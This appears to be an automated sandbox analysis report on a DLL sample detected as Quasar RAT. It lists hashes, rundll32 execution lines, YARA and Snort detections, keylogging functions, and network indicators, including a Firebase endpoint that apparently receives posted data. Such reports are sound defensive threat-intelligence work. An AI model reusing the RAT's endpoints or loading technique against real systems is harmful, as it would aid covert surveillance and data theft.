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Windows Analysis Report
vstdlib_s64.dll.dll

Overview

General Information

Sample name:	vstdlib_s64.dll.dll (renamed file extension from exe to dll)
Original sample name:	vstdlib_s64.dll.exe
Analysis ID:	1473780
MD5:	ac7da10e20d625cc463536172d0ac33e
SHA1:	c4242194e3faa82506513e2572c160a30082bfb0
SHA256:	6799f1948048b91991392b421ccc6b30be415cda26deb71baeecb33b41b12959
Tags:	BlotchyQuasarexeRAT
Infos:

Detection

Quasar

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Quasar RAT

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for sample

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 6852 cmdline: loaddll64.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 6876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2696 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 6992 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 796 cmdline: rundll32.exe C:\Users\user\Desktop\vstdlib_s64.dll.dll,V_FixDoubleSlashes MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6200 cmdline: rundll32.exe C:\Users\user\Desktop\vstdlib_s64.dll.dll,V_FixSlashes MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 5236 cmdline: rundll32.exe C:\Users\user\Desktop\vstdlib_s64.dll.dll,V_IsAbsolutePath MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7112 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_FixDoubleSlashes MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7120 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_FixSlashes MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 2496 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_IsAbsolutePath MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 4136 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_vsnwprintf MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 1052 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_strncpy MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 1184 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_strncat_length MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7072 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_strncat MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6616 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_snprintf MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7096 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_UTF8ToUTF16 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7100 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_UTF16ToUTF8 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6972 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_StripTrailingSlash MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6252 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_StripLastDir MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7152 cmdline: rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",V_RemoveDotSlashes MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vstdlib_s64.dll.dll	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.1711858916.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000B.00000002.1803940812.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000003.00000002.1682910878.000002A89AAA2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000011.00000002.1803619460.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000003.00000002.1684076753.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000B.00000002.1796633648.000001D54AB72000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000D.00000002.1801854722.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000004.00000002.1684166716.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000011.00000002.1795873767.0000019D796C2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000C.00000002.1803576304.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000A.00000002.1806601416.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000E.00000002.1805439876.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000004.00000002.1683326542.000002596EF32000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000010.00000002.2929241294.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000E.00000002.1798302966.0000023D3F972000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000F.00000002.1805465891.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000012.00000002.1800394851.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000013.00000002.1802596768.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000C.00000002.1795862473.000002CAF50D2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000009.00000002.1795742842.0000013F23772000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000A.00000002.1799338023.000001EDF6DB2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000013.00000002.1794900321.0000024F7DFE2000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000F.00000002.1798309140.000002D2EC852000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000010.00000002.2926634464.0000020471362000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000005.00000002.1711125446.0000024C76552000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000D.00000002.1794101772.000001E0A1962000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000012.00000002.1787872788.000001FBE5A92000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 796	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 6992	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 6200	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 5236	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 7112	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 7120	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: rundll32.exe PID: 2496	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 36 entries

Unpacked PEs

Source	Rule	Description	Author
13.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
16.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
18.2.rundll32.exe.1fbe5a90000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
6.2.rundll32.exe.1c4bec00000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.rundll32.exe.2755e650000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
12.2.rundll32.exe.2caf50d0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
12.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
5.2.rundll32.exe.24c76550000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
5.2.rundll32.exe.7ffdfb180000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
14.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
10.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
15.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.2.rundll32.exe.7ffdfb180000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
17.2.rundll32.exe.19d796c0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
13.2.rundll32.exe.1e0a1960000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.2.rundll32.exe.2596ef30000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
11.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
11.2.rundll32.exe.1d54ab70000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
14.2.rundll32.exe.23d3f970000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.rundll32.exe.1dd420a0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
7.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
9.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
15.2.rundll32.exe.2d2ec850000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
9.2.rundll32.exe.13f23770000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
3.2.rundll32.exe.7ffdfb180000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
6.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
19.2.rundll32.exe.24f7dfe0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
16.2.rundll32.exe.20471360000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
10.2.rundll32.exe.1edf6db0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
19.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
18.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
3.2.rundll32.exe.2a89aaa0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
17.2.rundll32.exe.7ffdfb3a0000.1.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 29 entries

Snort Signatures

ETPRO TROJAN W32/Quasar RAT Connectivity Check - Source IP: 192.168.2.4 - Destination IP: 88.198.193.213

Timestamp:	07/15/24-21:07:19.513418
SID:	2814031
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Quasar RAT Connectivity Check 2 - Source IP: 192.168.2.4 - Destination IP: 3.33.130.190

Timestamp:	07/15/24-21:07:19.945864
SID:	2814030
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /user.json HTTP/1.1Content-Type: application/json; charset=utf-8Host: argentina-e4162-default-rtdb.firebaseio.comContent-Length: 76Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 88.198.193.213 88.198.193.213
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 3.33.130.190 3.33.130.190

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AMAZONEXPANSIONGB AMAZONEXPANSIONGB

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: freegeoip.net
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0Host: telize.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0Host: freegeoip.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 35.201.97.85:443 -> 192.168.2.4:49735 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0Host: telize.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0Host: freegeoip.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: argentina-e4162-default-rtdb.firebaseio.com
Source: global traffic	DNS traffic detected: DNS query: telize.com
Source: global traffic	DNS traffic detected: DNS query: freegeoip.net
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org

Source: unknown

Source: rundll32.exe, rundll32.exe, 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://api.ipify.org/
Source: rundll32.exe, rundll32.exe, 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://freegeoip.net/xml/
Source: rundll32.exe, rundll32.exe, 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://telize.com/geoip
Source: rundll32.exe, rundll32.exe, 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://argentina-e4162-default-rtdb.firebaseio.com/user.json

Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: vstdlib_s64.dll.dll, oqBXyy.cs	.Net Code: Instal_Key_Capt
Source: vstdlib_s64.dll.dll, pblsOey.cs	.Net Code: hook

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: vstdlib_s64.dll.dll, type: SAMPLE
Source: Yara match	File source: 13.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1fbe5a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1c4bec00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2755e650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2caf50d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.24c76550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.19d796c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.1e0a1960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2596ef30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1d54ab70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.23d3f970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.1dd420a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.2d2ec850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.13f23770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.24f7dfe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.20471360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1edf6db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2a89aaa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1711858916.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1803940812.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1682910878.000002A89AAA2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1803619460.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1684076753.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1796633648.000001D54AB72000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1801854722.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1684166716.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1795873767.0000019D796C2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1803576304.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1806601416.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1805439876.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1683326542.000002596EF32000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2929241294.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1798302966.0000023D3F972000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1805465891.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1800394851.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1802596768.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1795862473.000002CAF50D2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
